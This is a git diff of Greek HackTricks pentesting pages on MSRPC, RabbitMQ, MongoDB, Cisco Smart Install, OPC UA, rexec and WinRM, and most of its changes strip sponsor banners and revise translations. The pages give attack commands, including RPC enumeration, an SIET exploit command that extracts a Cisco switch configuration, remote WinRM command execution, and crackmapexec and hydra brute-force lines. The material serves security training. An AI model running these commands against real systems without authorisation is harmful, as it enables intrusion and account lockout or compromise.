Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Το πρωτόκολλο Microsoft Remote Procedure Call (MSRPC), ένα μοντέλο πελάτη-διακομιστή που επιτρέπει σε ένα πρόγραμμα να ζητήσει μια υπηρεσία από ένα πρόγραμμα που βρίσκεται σε άλλο υπολογιστή χωρίς να κατανοεί τις λεπτομέρειες του δικτύου, προήλθε αρχικά από λογισμικό ανοιχτού κώδικα και αργότερα αναπτύχθηκε και κατοχυρώθηκε με πνευματικά δικαιώματα από τη Microsoft.
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
Το πρωτόκολλο Microsoft Remote Procedure Call (MSRPC), ένα μοντέλο client-server που επιτρέπει σε ένα πρόγραμμα να ζητήσει μια υπηρεσία από ένα πρόγραμμα που βρίσκεται σε άλλο υπολογιστή χωρίς να κατανοεί τις λεπτομέρειες του δικτύου, προήλθε αρχικά από λογισμικό ανοιχτού κώδικα και αργότερα αναπτύχθηκε και κατοχυρώθηκε με πνευματικά δικαιώματα από τη Microsoft.
Ο χάρτης σημείων RPC μπορεί να προσπελαστεί μέσω TCP και UDP θύρας 135, SMB σε TCP 139 και 445 (με μια κενή ή αυθεντικοποιημένη συνεδρία), και ως υπηρεσία ιστού σε TCP θύρα 593.
Ο χάρτης σημείων τερματισμού RPC μπορεί να προσπελαστεί μέσω TCP και UDP θύρας 135, SMB σε TCP 139 και 445 (με μια κενή ή αυθεντικοποιημένη συνεδρία), και ως υπηρεσία ιστού σε TCP θύρα 593.
```
135/tcp open msrpc Microsoft Windows RPC
```
@ -33,7 +18,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## **Αναγνώριση Εκτεθειμένων Υπηρεσιών RPC**
Η έκθεση υπηρεσιών RPC μέσω TCP, UDP, HTTP και SMB μπορεί να προσδιοριστεί με την ερώτηση της υπηρεσίας εντοπισμού RPC και των μεμονωμένων σημείων. Εργαλεία όπως το rpcdump διευκολύνουν την αναγνώριση μοναδικών υπηρεσιών RPC, που υποδεικνύονται από τις τιμές **IFID**, αποκαλύπτοντας λεπτομέρειες υπηρεσίας και δεσμεύσεις επικοινωνίας:
Η έκθεση υπηρεσιών RPC μέσω TCP, UDP, HTTP και SMB μπορεί να προσδιοριστεί με την αναζήτηση της υπηρεσίας εντοπισμού RPC και των μεμονωμένων σημείων. Εργαλεία όπως το rpcdump διευκολύνουν την αναγνώριση μοναδικών υπηρεσιών RPC, που υποδεικνύονται από τις τιμές **IFID**, αποκαλύπτοντας λεπτομέρειες υπηρεσίας και δεσμεύσεις επικοινωνίας:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -49,7 +34,7 @@ use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
```
Όλες οι επιλογές εκτός από το `tcp_dcerpc_auditor` έχουν σχεδιαστεί ειδικά για να στοχεύουν το MSRPC στην πόρτα 135.
Όλες οι επιλογές εκτός από `tcp_dcerpc_auditor` έχουν σχεδιαστεί ειδικά για στοχοποίηση του MSRPC στην πόρτα 135.
#### Σημαντικά διεπαφές RPC
@ -80,9 +65,9 @@ rpcdump.py <IP> -p 135
### Αναγνώριση διευθύνσεων IP
Χρησιμοποιώντας [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), που προέρχεται από [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), είναι δυνατή η κατάχρηση της μεθόδου _**ServerAlive2**_ μέσα στη διεπαφή _**IOXIDResolver**_.
Χρησιμοποιώντας [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), προέρχεται από [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) είναι δυνατή η κατάχρηση της μεθόδου _**ServerAlive2**_ μέσα στη διεπαφή _**IOXIDResolver**_.
Αυτή η μέθοδος έχει χρησιμοποιηθεί για να αποκτήσει πληροφορίες διεπαφής ως **IPv6** διεύθυνση από το HTB box _APT_. Δείτε [εδώ](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) για την αναφορά του 0xdf APT, περιλαμβάνει μια εναλλακτική μέθοδο χρησιμοποιώντας rpcmap.py από [Impacket](https://github.com/SecureAuthCorp/impacket/) με _stringbinding_ (βλ. παραπάνω).
Αυτή η μέθοδος έχει χρησιμοποιηθεί για να αποκτήσει πληροφορίες διεπαφής ως **IPv6** διεύθυνση από το κουτί HTB _APT_. Δείτε [εδώ](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) για την αναφορά του 0xdf APT, περιλαμβάνει μια εναλλακτική μέθοδο χρησιμοποιώντας rpcmap.py από [Impacket](https://github.com/SecureAuthCorp/impacket/) με _stringbinding_ (βλ. παραπάνω).
### Εκτέλεση RCE με έγκυρα διαπιστευτήρια
@ -104,19 +89,4 @@ rpcdump.py <IP> -p 135
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,16 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Basic Information
Μπορείτε να μάθετε περισσότερα για το RabbitMQ στο [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
Σε αυτήν την θύρα μπορείτε να βρείτε την κονσόλα διαχείρισης του RabbitMQ αν το [management plugin](https://www.rabbitmq.com/management.html) είναι ενεργοποιημένο.\
Σε αυτήν την θύρα μπορεί να βρείτε την κονσόλα διαχείρισης του RabbitMQ αν το [management plugin](https://www.rabbitmq.com/management.html) είναι ενεργοποιημένο.\
Η κύρια σελίδα θα πρέπει να φαίνεται έτσι:
![](<../images/image (336).png>)
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,31 +2,16 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Hacking Insights**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τη συγκίνηση και τις προκλήσεις του hacking
**Real-Time Hack News**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Latest Announcements**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφορμών
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
## Basic Information
**MongoDB** είναι ένα **open source** σύστημα διαχείρισης βάσεων δεδομένων που χρησιμοποιεί ένα **document-oriented database model** για να διαχειρίζεται διάφορες μορφές δεδομένων. Προσφέρει ευελιξία και κλιμάκωση για τη διαχείριση μη δομημένων ή ημι-δομημένων δεδομένων σε εφαρμογές όπως η ανάλυση μεγάλων δεδομένων και η διαχείριση περιεχομένου. **Default port:** 27017, 27018
**MongoDB** είναι ένα **ανοιχτού κώδικα** σύστημα διαχείρισης βάσεων δεδομένων που χρησιμοποιεί ένα **μοντέλο βάσης δεδομένων προσανατολισμένο σε έγγραφα** για να διαχειρίζεται διάφορες μορφές δεδομένων. Προσφέρει ευελιξία και κλιμάκωση για τη διαχείριση μη δομημένων ή ημι-δομημένων δεδομένων σε εφαρμογές όπως η ανάλυση μεγάλων δεδομένων και η διαχείριση περιεχομένου. **Προεπιλεγμένη θύρα:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
```
## Αρίθμηση
## Αριθμητική
### Χειροκίνητα
### Χειροκίνητη
```python
from pymongo import MongoClient
client = MongoClient(host, port, username=username, password=password)
@ -95,7 +80,7 @@ Mongo Object IDs είναι **12-byte hexadecimal** strings:
3. 2500: Αναγνωριστικό Διαδικασίας
4. 314019: Ένας αυξανόμενος μετρητής
Από τα παραπάνω στοιχεία, το αναγνωριστικό μηχανής θα παραμείνει το ίδιο όσο η βάση δεδομένων εκτελείται στην ίδια φυσική/εικονική μηχανή. Το αναγνωριστικό διαδικασίας θα αλλάξει μόνο αν η διαδικασία MongoDB επανεκκινηθεί. Η χρονική σήμανση θα ενημερώνεται κάθε δευτερόλεπτο. Η μόνη πρόκληση στο να μαντέψετε τα Object IDs απλά αυξάνοντας τις τιμές του μετρητή και της χρονικής σήμανσης, είναι το γεγονός ότι η Mongo DB δημιουργεί Object IDs και ανα assigns Object IDs σε επίπεδο συστήματος.
Από τα παραπάνω στοιχεία, το αναγνωριστικό μηχανής θα παραμείνει το ίδιο όσο η βάση δεδομένων εκτελείται στην ίδια φυσική/εικονική μηχανή. Το αναγνωριστικό διαδικασίας θα αλλάξει μόνο αν η διαδικασία MongoDB επανεκκινηθεί. Η χρονική σήμανση θα ενημερώνεται κάθε δευτερόλεπτο. Η μόνη πρόκληση στο να μαντέψετε τα Object IDs απλά αυξάνοντας τις τιμές του μετρητή και της χρονικής σήμανσης, είναι το γεγονός ότι η Mongo DB δημιουργεί Object IDs και αναθέτει Object IDs σε επίπεδο συστήματος.
Το εργαλείο [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), δεδομένου ενός αρχικού Object ID (μπορείτε να δημιουργήσετε έναν λογαριασμό και να αποκτήσετε ένα αρχικό ID), επιστρέφει περίπου 1000 πιθανά Object IDs που θα μπορούσαν να έχουν ανατεθεί στα επόμενα αντικείμενα, οπότε απλά χρειάζεται να τα brute force.
@ -105,19 +90,4 @@ Mongo Object IDs είναι **12-byte hexadecimal** strings:
---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,15 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
## Basic Information
**Cisco Smart Install** είναι ένα εργαλείο της Cisco που έχει σχεδιαστεί για να αυτοματοποιεί την αρχική διαμόρφωση και τη φόρτωση μιας εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό σε υλικό Cisco και χρησιμοποιεί το πρωτόκολλο μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Προεπιλεγμένη θύρα:** 4786
**Θύρα προεπιλογής:** 4786
```
PORT STATE SERVICE
4786/tcp open smart-install
@ -19,7 +16,7 @@ PORT STATE SERVICE
**Το 2018, βρέθηκε μια κρίσιμη ευπάθεια, CVE-20180171, σε αυτό το πρωτόκολλο. Το επίπεδο απειλής είναι 9.8 στην κλίμακα CVSS.**
**Ένα ειδικά κατασκευασμένο πακέτο που αποστέλλεται στην πόρτα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, προκαλεί υπερχείλιση μνήμης, επιτρέποντας σε έναν επιτιθέμενο να:**
**Ένα ειδικά κατασκευασμένο πακέτο που αποστέλλεται στην θύρα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, προκαλεί υπερχείλιση μνήμης, επιτρέποντας σε έναν επιτιθέμενο να:**
- επανεκκινήσει βίαια τη συσκευή
- καλέσει RCE
@ -29,7 +26,7 @@ PORT STATE SERVICE
**Η στοχευμένη συσκευή θα είναι ένας “ζωντανός” διακόπτης Cisco Catalyst 2960. Οι εικονικές εικόνες δεν έχουν Cisco Smart Install, οπότε μπορείτε να εξασκηθείτε μόνο σε πραγματικό υλικό.**
Η διεύθυνση του στοχευμένου διακόπτη είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Η παράμετρος -g** σημαίνει εξαγωγή της ρύθμισης από τη συσκευή, **η παράμετρος -i** σας επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
Η διεύθυνση του στοχευμένου διακόπτη είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το επιχείρημα -g** σημαίνει εξαγωγή της ρύθμισης από τη συσκευή, **το επιχείρημα -i** σας επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -39,8 +36,5 @@ PORT STATE SERVICE
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,21 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
## Basic Information
**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Βασικές Πληροφορίες
**OPC UA**, που σημαίνει **Open Platform Communications Unified Access**, είναι ένα κρίσιμο πρωτόκολλο ανοιχτού κώδικα που χρησιμοποιείται σε διάφορες βιομηχανίες όπως η Κατασκευή, η Ενέργεια, η Αεροδιαστημική και η Άμυνα για την ανταλλαγή δεδομένων και τον έλεγχο εξοπλισμού. Δίνει τη δυνατότητα σε εξοπλισμούς διαφορετικών προμηθευτών να επικοινωνούν, ειδικά με PLCs.
**OPC UA**, που σημαίνει **Open Platform Communications Unified Access**, είναι ένα κρίσιμο πρωτόκολλο ανοιχτού κώδικα που χρησιμοποιείται σε διάφορες βιομηχανίες όπως η Κατασκευή, η Ενέργεια, η Αεροδιαστημική και η Άμυνα για την ανταλλαγή δεδομένων και τον έλεγχο εξοπλισμού. Δίνει τη δυνατότητα σε εξοπλισμό διαφορετικών προμηθευτών να επικοινωνούν, ειδικά με PLCs.
Η διαμόρφωσή του επιτρέπει ισχυρά μέτρα ασφαλείας, αλλά συχνά, για συμβατότητα με παλαιότερες συσκευές, αυτά μειώνονται, εκθέτοντας τα συστήματα σε κινδύνους. Επιπλέον, η εύρεση υπηρεσιών OPC UA μπορεί να είναι δύσκολη, καθώς οι σαρωτές δικτύου ενδέχεται να μην τις ανιχνεύσουν αν βρίσκονται σε μη τυπικές θύρες.
**Προεπιλεγμένη θύρα:** 4840
**Default port:** 4840
```text
PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack
@ -29,9 +21,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Εκμετάλλευση ευπαθειών
Αν βρεθούν ευπάθειες παράκαμψης αυθεντικοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας μέχρι την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών.
Αν βρεθούν ευπάθειες παράκαμψης αυθεντικοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας μέχρι την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών.
Για να αποκτήσετε μια ένδειξη της συσκευής στην οποία έχετε πρόσβαση, διαβάστε τις τιμές κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης.
Για να αποκτήσετε μια ένδειξη της συσκευής στην οποία έχετε πρόσβαση, διαβάστε τις τιμές κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης στο Google.
## Shodan
@ -41,12 +33,5 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,17 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Βασικές Πληροφορίες
Είναι μια υπηρεσία που **σας επιτρέπει να εκτελέσετε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
Είναι μια υπηρεσία που **σας επιτρέπει να εκτελείτε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
**Προεπιλεγμένη Θύρα:** 512
```
@ -21,12 +14,5 @@ PORT STATE SERVICE
```
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,33 +2,18 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) είναι ένα **πρωτόκολλο της Microsoft** που επιτρέπει τη **τηλεδιαχείριση συστημάτων Windows** μέσω HTTP(S), αξιοποιώντας το SOAP στη διαδικασία. Βασίζεται θεμελιωδώς στο WMI, παρουσιάζοντας τον εαυτό του ως μια διεπαφή βασισμένη σε HTTP για τις λειτουργίες WMI.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) επισημαίνεται ως ένα ** πρωτόκολλο από τη Microsoft** που επιτρέπει τη **τηλεδιαχείριση συστημάτων Windows** μέσω HTTP(S), αξιοποιώντας το SOAP στη διαδικασία. Βασίζεται θεμελιωδώς στο WMI, παρουσιάζοντας τον εαυτό του ως μια διεπαφή βασισμένη σε HTTP για τις λειτουργίες WMI.
Η παρουσία του WinRM σε μια μηχανή επιτρέπει την απλή τηλεδιοίκηση μέσω PowerShell, παρόμοια με το πώς λειτουργεί το SSH για άλλα λειτουργικά συστήματα. Για να προσδιορίσετε αν το WinRM είναι λειτουργικό, συνιστάται να ελέγξετε το άνοιγμα συγκεκριμένων θυρών:
Η παρουσία του WinRM σε μια μηχανή επιτρέπει την απλή απομακρυσμένη διαχείριση μέσω PowerShell, παρόμοια με το πώς λειτουργεί το SSH για άλλα λειτουργικά συστήματα. Για να προσδιορίσετε αν το WinRM είναι λειτουργικό, συνιστάται να ελέγξετε το άνοιγμα συγκεκριμένων θυρών:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Μια ανοιχτή θύρα από τη λίστα παραπάνω σημαίνει ότι το WinRM έχει ρυθμιστεί, επιτρέποντας έτσι τις προσπάθειες έναρξης μιας απομακρυσμένης συνεδρίας.
### **Initiating a WinRM Session**
### **Έναρξη μιας Συνεδρίας WinRM**
Για να ρυθμίσετε το PowerShell για το WinRM, το cmdlet `Enable-PSRemoting` της Microsoft έρχεται στο προσκήνιο, ρυθμίζοντας τον υπολογιστή να δέχεται απομακρυσμένες εντολές PowerShell. Με ανυψωμένη πρόσβαση PowerShell, οι παρακάτω εντολές μπορούν να εκτελούνται για να ενεργοποιήσουν αυτή τη λειτουργικότητα και να ορίσουν οποιονδήποτε υπολογιστή ως αξιόπιστο:
```powershell
@ -51,7 +36,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
```bash
Test-WSMan <target-ip>
```
Η απάντηση θα πρέπει να περιέχει πληροφορίες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας ότι το WinRM έχει ρυθμιστεί σωστά.
Η απάντηση θα πρέπει να περιέχει πληροφορίες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδηλώνοντας ότι το WinRM έχει ρυθμιστεί σωστά.
![](<../images/image (582).png>)
@ -61,7 +46,7 @@ Test-WSMan <target-ip>
### Εκτέλεση εντολής
Για να εκτελέσετε το `ipconfig` απομακρυσμένα σε μια μηχανή στόχο και να δείτε την έξοδό του, κάντε:
Για να εκτελέσετε `ipconfig` απομακρυσμένα σε έναν στόχο μηχανής και να δείτε την έξοδό του, κάντε:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
@ -130,33 +115,18 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Αν βρείτε το παρακάτω σφάλμα:
`enter-pssession : Η σύνδεση στον απομακρυσμένο διακομιστή 10.10.10.175 απέτυχε με το παρακάτω μήνυμα σφάλματος : Ο πελάτης WinRM δεν μπορεί να επεξεργαστεί το αίτημα. Αν το σχήμα αυθεντικοποίησης είναι διαφορετικό από το Kerberos, ή αν ο υπολογιστής-πελάτης δεν είναι συνδεδεμένος σε τομέα, τότε πρέπει να χρησιμοποιηθεί η μεταφορά HTTPS ή η προορισμένη μηχανή πρέπει να προστεθεί στη ρύθμιση TrustedHosts. Χρησιμοποιήστε το winrm.cmd για να ρυθμίσετε τους TrustedHosts. Σημειώστε ότι οι υπολογιστές στη λίστα TrustedHosts ενδέχεται να μην είναι αυθεντικοποιημένοι. Μπορείτε να αποκτήσετε περισσότερες πληροφορίες σχετικά με αυτό εκτελώντας την παρακάτω εντολή: winrm help config. Για περισσότερες πληροφορίες, δείτε το θέμα βοήθειας about_Remote_Troubleshooting.`
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
Η δοκιμή στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
Η προσπάθεια στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Hacking Insights**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τη συγκίνηση και τις προκλήσεις του hacking
**Real-Time Hack News**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Latest Announcements**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
## WinRM σύνδεση σε linux
### Brute Force
Προσοχή, η brute-forcing του winrm μπορεί να αποκλείσει χρήστες.
Προσοχή, η βίαιη προσπάθεια σύνδεσης στο winrm μπορεί να αποκλείσει χρήστες.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -291,19 +261,4 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
